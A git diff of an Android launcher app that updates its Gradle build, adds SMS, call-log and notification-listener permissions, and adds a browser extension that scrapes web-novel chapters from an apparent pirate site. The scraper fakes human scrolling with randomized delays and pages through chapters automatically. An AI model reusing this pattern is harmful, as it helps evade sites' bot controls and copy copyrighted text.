...

# Conflicts:
#	app/src/main/kotlin/bums/lunatic/launcher/workers/TorrentManager.kt

app/build.gradle.kts

@@ -9,7 +9,7 @@ plugins {
 }
 
 android {
-	namespace = "bums.lunatic.launcher"
+    namespace = "bums.lunatic.launcher"
     compileSdk = 35
 
     defaultConfig {
@@ -18,8 +18,22 @@ android {
         versionCode = 38
         versionName = "2.8.2"
         multiDexEnabled = true
+        ndk {
+            abiFilters += listOf("arm64-v8a") // 필요한 ABI만 빌드하도록 필터링
+        }
+        externalNativeBuild {
+            cmake {
+                cppFlags += "-std=c++17"
+                arguments += "-DANDROID_STL=c++_shared"
+            }
+        }
+        // 이 부분을 추가하여 prefab 기능을 활성화합니다.
+        buildFeatures {
+            prefab = true
+        }
     }
 
+
     buildTypes {
         getByName("debug") {
             isMinifyEnabled = false
@@ -27,19 +41,24 @@ android {
             isDebuggable = true
 //            applicationIdSuffix = ".debug"
 //            versionNameSuffix = "-debug"
-            buildConfigField("Long","BuildDateTime", getDateTime().toString().plus("L"))
+            buildConfigField("Long","BuildDateTime", "${getDateTime()}L")
             resValue ("string", "app_name", "Bums Launcher Debug")
         }
 
         getByName("release") {
             isMinifyEnabled = true
             isShrinkResources = true
-            buildConfigField("Long","BuildDateTime", getDateTime().toString().plus("L"))
+            buildConfigField("Long","BuildDateTime", "${getDateTime()}L")
             proguardFiles (getDefaultProguardFile("proguard-android-optimize.txt"), "proguard-rules.pro")
             resValue ("string", "app_name", "Bums Launcher")
         }
     }
-
+    externalNativeBuild {
+        cmake {
+            path = file("src/main/cpp/CMakeLists.txt")
+            version = "3.22.1"
+        }
+    }
     signingConfigs {
 
         getByName("debug") {
@@ -50,6 +69,10 @@ android {
         }
     }
 
+    android {
+        sourceSets["main"].jniLibs.srcDirs("src/main/jniLibs")
+
+    }
 
     applicationVariants.all {
         if (buildType.name == "release") {
@@ -73,51 +96,113 @@ android {
         sourceCompatibility = JavaVersion.VERSION_1_8
         targetCompatibility = JavaVersion.VERSION_1_8
     }
+
     packagingOptions.resources.excludes.add("META-INF/*")
     packagingOptions.resources.excludes.add("mozilla/*")
     packagingOptions.resources.excludes.add("META-INF/*/*")
+    packagingOptions {
+        jniLibs {
+            useLegacyPackaging = true
+        }
+    }
 
     kotlinOptions {
         jvmTarget = "1.8"
     }
+    ndkVersion = "29.0.13846066 rc3"
+//    buildToolsVersion = "35.0.1"
+    packaging {
+        doNotStrip("**/libaria2c.zip.so")
+        doNotStrip("**/libffmpeg.zip.so")
+        doNotStrip("**/libpython.zip.so")
+        jniLibs {
+            pickFirsts.add("lib/**/libc++_shared.so")
+            pickFirsts.add("lib/**/libavcodec.so")
+            pickFirsts.add("lib/**/libavfilter.so")
+            pickFirsts.add("lib/**/libavformat.so")
+            pickFirsts.add("lib/**/libavutil.so")
+            pickFirsts.add("lib/**/libswresample.so")
+            pickFirsts.add("lib/**/libswscale.so")
+        }
+    }
+
 }
 
+
 dependencies {
+
+    implementation(fileTree(mapOf(
+        "dir" to "libs",
+        "include" to listOf("*.aar", "*.jar"),
+    )))
+    implementation(project(":gdrive"))
+    implementation("com.google.android.gms:play-services-wearable:19.0.0")
     val kotlinVersion: String? by extra
-    implementation ("androidx.appcompat:appcompat:1.7.0")
+    val realmVersion =  "2.0.0"
+    implementation ("androidx.appcompat:appcompat:1.7.1")
     implementation ("androidx.biometric:biometric-ktx:1.2.0-alpha05")
     implementation ("androidx.browser:browser:1.8.0")
     implementation ("androidx.core:core-ktx:1.15.0")
     implementation ("androidx.core:core-splashscreen:1.0.1")
     implementation ("androidx.lifecycle:lifecycle-runtime-ktx:2.8.7")
     implementation ("com.google.android.material:material:1.12.0")
-    implementation ("com.ibm.icu:icu4j:68.1")
-    implementation (kotlin("stdlib", version = kotlinVersion))
+    implementation ("com.ibm.icu:icu4j:77.1")
+    implementation (kotlin("stdlib", version = "2.0.10"))
     implementation ("com.github.cachapa:ExpandableLayout:2.9.2")
-    implementation ("com.squareup.picasso:picasso:2.71828")
+
     implementation ("androidx.work:work-runtime:2.10.0")
-    implementation ("com.google.code.gson:gson:2.11.0")
-    implementation ("io.realm.kotlin:library-base:2.1.0")
-    implementation ("org.jsoup:jsoup:1.18.1")
-    implementation ("org.apache.commons:commons-text:1.12.0")
+    implementation ("com.google.code.gson:gson:2.13.1")
+    implementation ("io.realm.kotlin:library-base:${realmVersion}")
+    implementation ("org.jsoup:jsoup:1.21.2")
+    implementation ("org.apache.commons:commons-text:1.14.0")
     implementation("com.squareup.okhttp:okhttp:2.7.5")
     implementation("com.google.android.gms:play-services-location:21.3.0")
-    implementation("com.google.android.gms:play-services-tasks:18.2.0")
-    implementation("com.squareup.retrofit2:retrofit:2.9.0")
-    implementation("com.squareup.retrofit2:converter-gson:2.9.0")
-    implementation("com.squareup.retrofit2:converter-scalars:2.6.4")
+    implementation("com.google.android.gms:play-services-tasks:18.3.2")
+    implementation("com.squareup.retrofit2:retrofit:3.0.0")
+    implementation("com.squareup.retrofit2:converter-gson:3.0.0")
+    implementation("com.squareup.retrofit2:converter-scalars:3.0.0")
     implementation("androidx.viewpager2:viewpager2:1.1.0")
     implementation("com.squareup.picasso:picasso:2.71828")
     implementation("com.github.delight-im:Android-AdvancedWebView:v3.2.1")
-    implementation(project(":library"))
-    implementation(project(":utils"))
+//    implementation(project(":library"))
+//    implementation(project(":utils"))
     implementation( "com.github.bumptech.glide:glide:4.11.0")
-//    implementation("org.mozilla.geckoview:geckoview:139.0.20250523173407")
+    implementation ("com.github.bumptech.glide:okhttp3-integration:4.11.0")
+    implementation ("com.github.chrisbanes:PhotoView:2.3.0")
+    implementation ("androidx.exifinterface:exifinterface:1.3.6")
+
     // https://mvnrepository.com/artifact/org.mozilla.geckoview/geckoview
     implementation("org.mozilla.geckoview:geckoview:139.0.20250523173407")
-
-
+    implementation("com.vladsch.flexmark:flexmark-all:0.64.8")
+//    implementation 'com.vladsch.flexmark:flexmark-all:0.64.8'
 //    implementation("org.opencv:opencv-android:4.11.0")
+    // build.gradle에 추가
+    implementation ("androidx.emoji2:emoji2:1.4.0")
+    implementation ("com.googlecode.juniversalchardet:juniversalchardet:1.0.3")
+    implementation("org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3")
+//    implementation ("com.github.aeonSolutions:FloatingActionButtonMenuDrag:1.1")
+    implementation("io.github.junkfood02.youtubedl-android:library:0.17.4")
+    implementation("io.github.junkfood02.youtubedl-android:ffmpeg:0.17.4")
+    implementation("io.github.junkfood02.youtubedl-android:aria2c:0.17.4")
+    implementation("io.coil-kt:coil:2.5.0")
+    implementation("io.coil-kt:coil-gif:2.5.0")
+    implementation ("com.squareup.okhttp3:logging-interceptor:4.11.0")
+
+    implementation("androidx.lifecycle:lifecycle-viewmodel-ktx:2.8.3")
+
+    // Fragment KTX: Fragment에서 by viewModels() 델리게이트를 사용하기 위해 필수
+    implementation("androidx.fragment:fragment-ktx:1.8.1")
+
+    // Lifecycle KTX: viewLifecycleOwner.lifecycleScope 등을 사용하기 위해 필요
+    implementation("androidx.lifecycle:lifecycle-runtime-ktx:2.8.3")
+
+
+
+//    implementation ("com.arthenica:ffmpeg-kit-full:4.5.LTS")
+//    implementation ("com.arthenica:ffmpeg-kit-full:6.0-2")
+
+//    implementation(files("libs/ffmpeg-kit-full-6.0-2.LTS.aar"))
+//     implementation("com.arthenica:ffmpeg-kit-full-gpl:5.1")
 
 
     implementation ("androidx.media:media:1.7.0")
@@ -126,5 +211,49 @@ dependencies {
 //    implementation ("me.everything:providers-core:1.0.1")
 //    implementation ("androidx.window:window:1.0.0")
 //    implementation("io.github.vaneproject:hanguleditor:1.0.0")
+
+
+//    implementation ("androidx.concurrent:concurrent-listenablefuture-ktx:1.1.0")
+    implementation ("com.google.guava:guava:33.2.1-jre")
+    val camerax_version = "1.3.0" // 안정적인 최신 버전 사용
+
+    // CameraX 코어 라이브러리
+    implementation("androidx.camera:camera-core:$camerax_version")
+    implementation("androidx.camera:camera-camera2:$camerax_version")
+
+    // CameraX Lifecycle 라이브러리 (Fragment/Activity 생명주기 연결)
+    implementation("androidx.camera:camera-lifecycle:$camerax_version")
+
+    // CameraX View 라이브러리 (PreviewView 등 UI 구성 요소)
+    implementation("androidx.camera:camera-view:$camerax_version")
+
+    // (선택) CameraX 비디오 라이브러리
+    implementation("androidx.camera:camera-video:$camerax_version")
+
+    // (선택) CameraX 확장 라이브러리 (보케, HDR 등)
+    implementation("androidx.camera:camera-extensions:$camerax_version")
+
+    implementation("com.google.mlkit:translate:17.0.3") // 버전 살짝 업그레이드 권장
+    implementation("com.google.mlkit:language-id:17.0.5")
+    implementation("com.google.android.gms:play-services-base:18.5.0")
+    implementation("com.google.mlkit:common:18.11.0")
+
+    constraints {
+        // ⚠️ 이 버전을 프로젝트 루트의 build.gradle.kts에 정의된 kotlinVersion 값과 정확히 일치시키세요.
+        val targetKotlinVersion = "2.0.20"
+
+        implementation("org.jetbrains.kotlin:kotlin-stdlib") {
+            version { strictly(targetKotlinVersion) }
+//            reason = "Align all Kotlin stdlib versions with the compiler plugin version"
+        }
+        implementation("org.jetbrains.kotlin:kotlin-stdlib-jdk8") {
+            version { strictly(targetKotlinVersion) }
+//            reason = "Align all Kotlin stdlib versions with the compiler plugin version"
+        }
+        implementation("org.jetbrains.kotlin:kotlin-stdlib-common") {
+            version { strictly(targetKotlinVersion) }
+//            reason = "Align all Kotlin stdlib versions with the compiler plugin version"
+        }
+    }
 }
 fun getDateTime() = SimpleDateFormat("yyyyMMddHHmm").format(Date()).toLong()

app/src/main/AndroidManifest.xml

@@ -23,7 +23,6 @@
     <uses-permission android:name="android.permission.READ_CALL_LOG"/>
     <!-- api 33+ -->
     <uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
-    <uses-permission android:name="android.permission.RECEIVE_SMS" />
     <uses-permission android:name="android.permission.RECEIVE_MMS" />
     <uses-permission android:name="android.permission.RECORD_AUDIO"/>
 
@@ -46,6 +45,7 @@
     <uses-permission
         android:name="android.permission.READ_SMS"
         tools:ignore="QueryAllPackagesPermission" />
+
     <uses-permission android:name="android.permission.ACCESS_NOTIFICATION_POLICY" />
 
     <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
@@ -54,12 +54,22 @@
         tools:ignore="ScopedStorage" />
     <uses-permission android:name="android.permission.BLUETOOTH" />
     <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+    <uses-permission android:name="android.permission.VIBRATE" />
+    <uses-permission
+        android:name="android.permission.PACKAGE_USAGE_STATS"
+        tools:ignore="ProtectedPermissions" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-feature android:name="android.hardware.camera" android:required="false" />
+
+
     <queries>
+        <package android:name="com.google.android.gms" />
         <intent>
-            <action android:name="android.intent.action.MAIN" />
+            <action android:name="com.google.android.gms.actions.SEARCH_ACTION" />
         </intent>
     </queries>
-
     <application
         android:name=".LunaticLauncher"
         android:icon="@drawable/ic_launcher"
@@ -71,143 +81,184 @@
         android:stateNotNeeded="true"
         android:enableOnBackInvokedCallback="true"
         android:largeHeap="true"
+        android:debuggable="false"
         android:networkSecurityConfig="@xml/network_security_config"
         android:hardwareAccelerated="true"
         android:usesCleartextTraffic="true"
-        android:screenOrientation="nosensor"
         android:windowSoftInputMode="adjustResize"
         android:requestLegacyExternalStorage="true"
-        >
-        <!--            android:excludeFromRecents="true"-->
-<!--        portrait|reversePortrait|userPortrait|sensorPortrait-->
+        tools:ignore="HardcodedDebugMode">
+
+
         <activity
-            android:name=".LauncherActivity"
-            android:theme="@style/Theme.LunarLauncher.Starting"
+            android:name=".home.NeoRssActivity"
+            android:theme="@style/Theme.Player"
             android:launchMode="singleInstance"
             android:screenOrientation="userPortrait"
             android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize|screenLayout|layoutDirection|navigation"
             android:windowSoftInputMode="adjustResize"
-            android:exported="true">
+            android:exported="false">
+
+            <intent-filter>
+                <action android:name="android.intent.action.WEB_SEARCH"/>
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <meta-data
+                android:name="android.app.searchable"
+                android:resource="@xml/searchable" />
             <intent-filter>
                 <action android:name="android.intent.action.SEND" />
                 <category android:name="android.intent.category.DEFAULT" />
                 <data android:mimeType="*/*"/>
             </intent-filter>
+        </activity>
+        <activity
+            android:name=".home.TranslatorActivity"
+            android:windowSoftInputMode="adjustResize" />
+        <activity
+            android:name=".player.PlayerActivity"
+            android:theme="@style/Theme.Player"
+            android:launchMode="singleInstance"
+            android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
+            android:screenOrientation="sensor"
+            android:hardwareAccelerated="true"
+            android:excludeFromRecents="true"
+            android:exported="false">
+        </activity>
+        <activity android:name=".home.WebReaderActivity"
+            android:theme="@style/Theme.Player"
+            android:icon="@drawable/ic_launcher"
+            android:roundIcon="@drawable/ic_launcher"
+            android:label="리더"
+            android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize|density|fontScale|keyboardHidden|keyboard|layoutDirection|navigation"
+            android:screenOrientation="portrait"
+            android:excludeFromRecents="false"
+            android:hardwareAccelerated="true"
+            android:taskAffinity="bums.lunatic.launcher.home.WebReaderActivity"
+            android:launchMode="singleTask"> <intent-filter>
+            <action android:name="android.intent.action.MAIN" />
+            <category android:name="android.intent.category.LAUNCHER" />
+        </intent-filter>
+        </activity>
+
+        <activity
+            android:name=".player.DocumentViewerActivity"
+            android:theme="@style/Theme.Player"
+            android:launchMode="singleInstance"
+            android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize|density|fontScale|keyboardHidden|keyboard|layoutDirection|navigation"
+            android:screenOrientation="portrait"
+            android:excludeFromRecents="false"
+            android:hardwareAccelerated="true"
+            android:exported="false">
+        </activity>
+
+        <activity
+            android:name=".player.ImageViewerActivity"
+            android:theme="@style/Theme.Player"
+            android:launchMode="singleInstance"
+            android:configChanges="orientation|screenSize|screenLayout|smallestScreenSize"
+            android:screenOrientation="sensor"
+            android:excludeFromRecents="true"
+            android:hardwareAccelerated="true"
+            android:exported="false">
+        </activity>
+
+
+        <activity
+            android:name=".LauncherActivity"
+            android:theme="@style/Theme.LunarLauncher.Starting"
+            android:launchMode="singleInstance"
+            android:clearTaskOnLaunch="true"
+            android:stateNotNeeded="true"
+            android:screenOrientation="userPortrait"
+            android:configChanges="orientation|keyboardHidden|keyboard|screenSize|smallestScreenSize|screenLayout|layoutDirection|navigation"
+            android:windowSoftInputMode="adjustResize"
+            android:exported="true">
             <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.HOME" />
                 <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+
+            <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <action android:name="android.intent.action.VIEW" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.SEND" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:mimeType="*/*" /> </intent-filter>
+            <intent-filter>
+                <action android:name="android.intent.action.SEND_MULTIPLE" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <data android:mimeType="*/*" />
+            </intent-filter>
         </activity>
-<!--        <activity-->
-<!--            android:name=".apps.AppDrawer"-->
-<!--            android:label="@string/lunar_settings"-->
-<!--            android:launchMode="singleTask"-->
-<!--            android:excludeFromRecents="true"-->
-<!--            android:exported="true">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.intent.action.APPLICATION_PREFERENCES" />-->
-<!--            </intent-filter>-->
-<!--        </activity>-->
+        <receiver android:name=".receiver.CallReceiver" android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.PHONE_STATE" />
+            </intent-filter>
+        </receiver>
+        <receiver android:name=".receiver.SmsReceiver"
+            android:exported="true"> <intent-filter android:priority="2147483647">
+            <action android:name="android.provider.Telephony.SMS_RECEIVED" />
+            <action android:name="android.provider.Telephony.WAP_PUSH_RECEIVED" />
 
-<!--        <activity-->
-<!--            android:name=".tokiz.Settings"-->
-<!--            android:label="@string/lunar_settings"-->
-<!--            android:launchMode="singleInstance"-->
-<!--            android:excludeFromRecents="true"-->
-<!--            android:exported="true">-->
+        </intent-filter>
+        </receiver>
 
-<!--        </activity>-->
-<!--        <activity-->
-<!--            android:name=".settings.SettingsActivity"-->
-<!--            android:label="@string/lunar_settings"-->
-<!--            android:launchMode="singleTask"-->
-<!--            android:excludeFromRecents="true"-->
-<!--            android:exported="true">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.intent.action.APPLICATION_PREFERENCES" />-->
-<!--            </intent-filter>-->
-<!--        </activity>-->
-<!--        <activity-->
-<!--            android:name=".behavior.Behavior"-->
-<!--            android:label="@string/lunar_settings"-->
-<!--            android:launchMode="singleTask"-->
-<!--            android:excludeFromRecents="true"-->
-<!--            android:exported="true">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.intent.action.APPLICATION_PREFERENCES" />-->
-<!--            </intent-filter>-->
-<!--        </activity>-->
-
-<!--        <receiver android:name=".helpers.HeadsetActionButtonReceiver"-->
-<!--            android:enabled="true"-->
-<!--            android:exported="true" >-->
-<!--            <intent-filter-->
-<!--                android:priority="2147483647">-->
-<!--                <action android:name="android.intent.action.MEDIA_BUTTON"/>-->
-<!--            </intent-filter>-->
-<!--        </receiver>-->
-
-        <!--        <service android:name=".MediaButtonService"-->
-        <!--            android:exported="true">-->
-        <!--            <intent-filter>-->
-        <!--                <action android:name="android.intent.action.MEDIA_BUTTON" />-->
-        <!--                <action android:name="android.media.browse.MediaBrowserService" />-->
-        <!--            </intent-filter>-->
-        <!--        </service>-->
 
         <service
-            android:name=".feeds.rss.RssService"
-            android:permission="android.permission.BIND_JOB_SERVICE"
-            android:exported="false"/>
+            android:name=".helpers.ForeGroundService"
+            android:enabled="true"
+            android:exported="false" />
 
-<!--        <service-->
-<!--            android:name=".helpers.LockService"-->
-<!--            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"-->
-<!--            android:exported="false">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.accessibilityservice.AccessibilityService" />-->
-<!--            </intent-filter>-->
-<!--            <meta-data-->
-<!--                android:name="android.accessibilityservice"-->
-<!--                android:resource="@xml/lock_service" />-->
-<!--        </service>-->
+        <service
+            android:name=".workers.WatchGestureService"
+            android:enabled="true"
+            android:exported="false" />
 
-<!--        <receiver-->
-<!--            android:name=".helpers.AdminReceiver"-->
-<!--            android:label="@string/app_name"-->
-<!--            android:description="@string/device_admin_description"-->
-<!--            android:permission="android.permission.BIND_DEVICE_ADMIN"-->
-<!--            android:exported="false">-->
-<!--            <meta-data-->
-<!--                android:name="android.app.device_admin"-->
-<!--                android:resource="@xml/device_admin" />-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />-->
-<!--            </intent-filter>-->
-<!--        </receiver>-->
+        <service
+            android:name=".workers.TorrentService"
+            android:enabled="true"
+            android:exported="false" />
 
-<!--        <activity-->
-<!--            android:name=".home.RssViewerActivity"-->
-<!--            android:configChanges="keyboardHidden|orientation|screenSize"-->
-<!--            android:hardwareAccelerated="true"-->
-<!--            android:launchMode="singleTask"-->
-<!--            android:exported="true"-->
-<!--            android:excludeFromRecents="true"-->
-<!--            android:theme="@style/FinestWebViewTheme.Fullscreen" >-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.intent.action.VIEW" />-->
-<!--                <category android:name="android.intent.category.DEFAULT" />-->
-<!--                <data  android:scheme="file"/>-->
-<!--                <data  android:scheme="content"/>-->
-<!--                <data  android:mimeType="text/html"/>-->
-<!--                <data  android:mimeType="text/plain"/>-->
-<!--                <data  android:mimeType="text/xml"/>-->
-<!--                <data  android:mimeType="application/xhtml+xml"/>-->
-<!--                <data  android:mimeType="application/vnd.wap.xhtml+xml"/>-->
-<!--            </intent-filter>-->
-<!--        </activity>-->
+        <service
+            android:name=".wall.MyWallpaperService"
+            android:label="Bums Live Wallpaper"
+            android:permission="android.permission.BIND_WALLPAPER">
+            <intent-filter>
+                <action android:name="android.service.wallpaper.WallpaperService" />
+            </intent-filter>
+            <meta-data
+                android:name="android.service.wallpaper"
+                android:resource="@xml/wallpaper" />
+        </service>
+
+
+        <activity
+            android:name=".home.tokiz.Settings"
+            android:label="@string/lunar_settings"
+            android:launchMode="singleInstance"
+            android:excludeFromRecents="true"
+            android:exported="true">
+
+        </activity>
+        <activity
+            android:name=".settings.SettingsActivity"
+            android:label="@string/lunar_settings"
+            android:launchMode="singleTask"
+            android:excludeFromRecents="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.APPLICATION_PREFERENCES" />
+            </intent-filter>
+        </activity>
+
+        <!--        <service-->
+        <!--            android:name=".feeds.rss.RssService"-->
+        <!--            android:permission="android.permission.BIND_JOB_SERVICE"-->
+        <!--            android:exported="false"/>-->
 
         <provider
             android:name="androidx.core.content.FileProvider"
@@ -219,55 +270,20 @@
                 android:name="android.support.FILE_PROVIDER_PATHS"
                 android:resource="@xml/file_paths" />
         </provider>
-<!--        <service android:name=".receiver.NLService"-->
-<!--            android:label="@string/app_name"-->
-<!--            android:enabled="true"-->
-<!--            android:exported="true"-->
-<!--            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.service.notification.NotificationListenerService" />-->
-<!--            </intent-filter>-->
-<!--        </service>-->
-<!--        <service android:name="bums.lunatic.launcher.workers.LocationUpdateService" />-->
 
-<!--        <receiver android:name=".LauncherActivity$EndCallReceiver"-->
-<!--            android:enabled="true"-->
-<!--            android:exported="true">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.intent.action.PHONE_STATE" />-->
-<!--            </intent-filter>-->
-<!--        </receiver>-->
-<!--        <receiver android:name=".LauncherActivity$SMSReceiver"-->
-<!--            android:exported="true"-->
-<!--            android:enabled="true"-->
-<!--            android:permission="android.permission.BROADCAST_SMS">-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.provider.Telephony.SMS_RECEIVED" />-->
-<!--                <action android:name="android.provider.Telephony.MMS_RECEIVED" />-->
-<!--            </intent-filter>-->
-<!--        </receiver>-->
+        <service android:name=".receiver.NLService"
+            android:label="@string/app_name"
+            android:enabled="true"
+            android:exported="true"
+            android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
+            <intent-filter>
+                <action android:name="android.service.notification.NotificationListenerService" />
+            </intent-filter>
+        </service>
 
-<!--        <receiver-->
-<!--            android:exported="true"-->
-<!--            android:enabled="true"-->
-<!--            android:name=".receiver.PackageEventReceiver"-->
-<!--            >-->
-<!--            <intent-filter>-->
-<!--                <action android:name="android.intent.action.PACKAGE_REPLACED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_INSTALL"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_ADDED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_CHANGED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_DATA_CLEARED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_FIRST_LAUNCH"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_FULLY_REMOVED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_INSTALL"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_NEEDS_VERIFICATION"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_REMOVED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_REPLACED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_RESTARTED"/>-->
-<!--                <action android:name="android.intent.action.PACKAGE_VERIFIED"/>-->
-<!--                <data android:scheme="package" />-->
-<!--            </intent-filter>-->
-<!--        </receiver>-->
+        <service android:name="bums.lunatic.launcher.workers.LocationUpdateService" />
+        <meta-data
+            android:name="com.google.mlkit.vision.DEPENDENCIES"
+            android:value="ocr,langid,translate" />
     </application>
 </manifest>

app/src/main/assets/extensions/my_extension/Novel_Scraper/content.js

@@ -0,0 +1,152 @@
+// 페이지 로딩 완료 후 실행
+window.addEventListener('load', async () => {
+    // 1. URL 패턴 확인
+    const match = window.location.pathname.match(/\/novel\/(\d+)\/(\d+)/);
+    if (!match) return;
+
+    const bookId = match[1];
+    const chapterId = match[2];
+    console.log(`웹소설 스크래퍼: 책 ID [${bookId}] 감지됨.`);
+
+    // ⏳ 2. 1~2초 동안 '페이지 다운(80%)' 스크롤 실행
+    const initialScrollTime = Math.floor(Math.random() * (10000 - 1000 + 1)) + 8000;
+    console.log(`${(initialScrollTime / 1000).toFixed(1)}초 동안 큼직하게 훑어보며 대기합니다... 👀`);
+    await pageSkimScroll(initialScrollTime);
+
+    // 3. 데이터 스크래핑
+    const scrapedData = scrapePage();
+    if (!scrapedData) return;
+
+    // 4. 책 ID별 Storage 저장
+    chrome.storage.local.get(['scrapedBooks'], async (result) => {
+        let scrapedBooks = result.scrapedBooks || {};
+
+        if (!scrapedBooks[bookId]) {
+            scrapedBooks[bookId] = {
+                id: 'book_' + bookId,
+                fileName: scrapedData.novelTitle,
+                chapters: []
+            };
+        }
+
+        let bookData = scrapedBooks[bookId];
+
+        if (scrapedData.novelTitle !== '제목없음') {
+            bookData.fileName = scrapedData.novelTitle;
+        }
+
+        // 중복 챕터 검사
+        const isDuplicate = bookData.chapters.some(chap => chap.chapterId === chapterId);
+        if (isDuplicate) {
+            console.log(`⚠️ 이미 저장된 챕터입니다 (ID: ${chapterId}). 자동 진행을 중지합니다.`);
+            return;
+        }
+
+        // 챕터 추가
+        bookData.chapters.push({
+            chapterId: chapterId,
+            title: scrapedData.chapterTitle,
+            content: scrapedData.content
+        });
+
+        // Storage에 저장
+        scrapedBooks[bookId] = bookData;
+        chrome.storage.local.set({
+            scrapedBooks: scrapedBooks,
+            currentBookId: bookId
+        }, async () => {
+            console.log(`✅ [${scrapedData.novelTitle} - ${scrapedData.chapterTitle}] 저장 완료!`);
+
+            // ⏳ 5. 저장 완료 후 2~3초 랜덤 대기
+            const waitDelay = Math.floor(Math.random() * (5000 - 2000 + 1)) + 4000;
+            console.log(`${(waitDelay / 1000).toFixed(1)}초 대기 후 다음 챕터로 이동합니다... ⏳`);
+            await new Promise(resolve => setTimeout(resolve, waitDelay));
+
+            // '다음화' 버튼 클릭
+            const buttons = Array.from(document.querySelectorAll('a.btn.btn-black.btn-sm'));
+            const nextButton = buttons.find(btn => btn.innerText.trim().includes('다음화'));
+
+            if (nextButton) {
+                console.log("👉 다음 화 버튼 클릭 진행");
+                nextButton.click();
+            } else {
+                console.log("⚠️ '다음화' 버튼을 찾을 수 없거나 마지막 화입니다.");
+            }
+        });
+    });
+});
+
+// ==========================================
+// 🚀 화면 높이의 약 80%씩 큼직하게 스크롤하는 함수
+// ==========================================
+function pageSkimScroll(duration) {
+    return new Promise((resolve) => {
+        let elapsed = 0;
+
+        const scrollLoop = () => {
+            if (elapsed >= duration) {
+                resolve();
+                return;
+            }
+
+            // 400ms ~ 700ms 사이의 랜덤한 대기 시간 (큼직하게 내리기 때문에 간격을 조금 더 줌)
+            const stepTime = Math.floor(Math.random() * (1700 - 400 + 1)) + 1400;
+
+            // 현재 브라우저 창 높이(Viewport)를 구함
+            const screenHeight = window.innerHeight;
+
+            // 75% ~ 85% 사이의 랜덤한 비율 설정 (평균 80%)
+            const scrollRatio = 0.75 + (Math.random() * 0.1);
+            const stepAmount = screenHeight * scrollRatio;
+
+            // 부드럽게 스크롤
+            window.scrollBy({ top: stepAmount, behavior: 'smooth' });
+
+            elapsed += stepTime;
+            setTimeout(scrollLoop, stepTime);
+        };
+
+        // 루프 시작
+        scrollLoop();
+    });
+}
+
+// ==========================================
+// 스크래핑 헬퍼 함수
+// ==========================================
+function scrapePage() {
+    const titleEl = document.querySelector('.page-title h2');
+    let novelTitle = titleEl ? titleEl.innerText.trim() : '제목없음';
+
+    let chapterTitle = document.querySelector('.theme-novel-title');
+    chapterTitle = chapterTitle ? chapterTitle.innerText.trim() : '1화';
+
+    let novelContent = '';
+    const contentHost = document.querySelector('.theme-novel-content');
+
+    if (contentHost) {
+        if (contentHost.shadowRoot) {
+            const pTags = contentHost.shadowRoot.querySelectorAll('p');
+            const textArray = Array.from(pTags).map(p => p.innerText.trim());
+            novelContent = textArray.join('\n\n');
+        } else {
+            const template = contentHost.querySelector('template[shadowrootmode="open"]');
+            if (template && template.content) {
+                const pTags = template.content.querySelectorAll('p');
+                const textArray = Array.from(pTags).map(p => p.textContent.trim());
+                novelContent = textArray.join('\n\n');
+            }
+        }
+    }
+
+    if (!novelContent) {
+        console.warn('본문을 추출할 수 없습니다.');
+        return null;
+    }
+
+    return {
+        novelTitle: novelTitle,
+        chapterTitle: chapterTitle,
+        content: novelContent
+    };
+}

app/src/main/assets/extensions/my_extension/Novel_Scraper/manifest.json

@@ -0,0 +1,29 @@
+{
+  "manifest_version": 3,
+  "name": "웹소설 스크래퍼 (나만의 서재용)",
+  "version": "1.2",
+  "description": "웹소설 챕터를 수집하여 서재 리더기용 JSON으로 다운로드합니다.",
+  "action": {
+    "default_popup": "popup.html"
+  },
+  "permissions": [
+    "activeTab",
+    "scripting",
+    "storage",
+    "downloads",
+    "unlimitedStorage"
+  ],
+  "host_permissions": [
+    "https://api.telegram.org/*"
+  ],
+  "content_scripts": [
+    {
+      "matches": [
+        "*://newtoki1.org/novel/*",
+        "*://*.newtoki1.org/novel/*"
+      ],
+      "js": ["content.js"],
+      "run_at": "document_end"
+    }
+  ]
+}

app/src/main/assets/extensions/my_extension/Novel_Scraper/popup.html

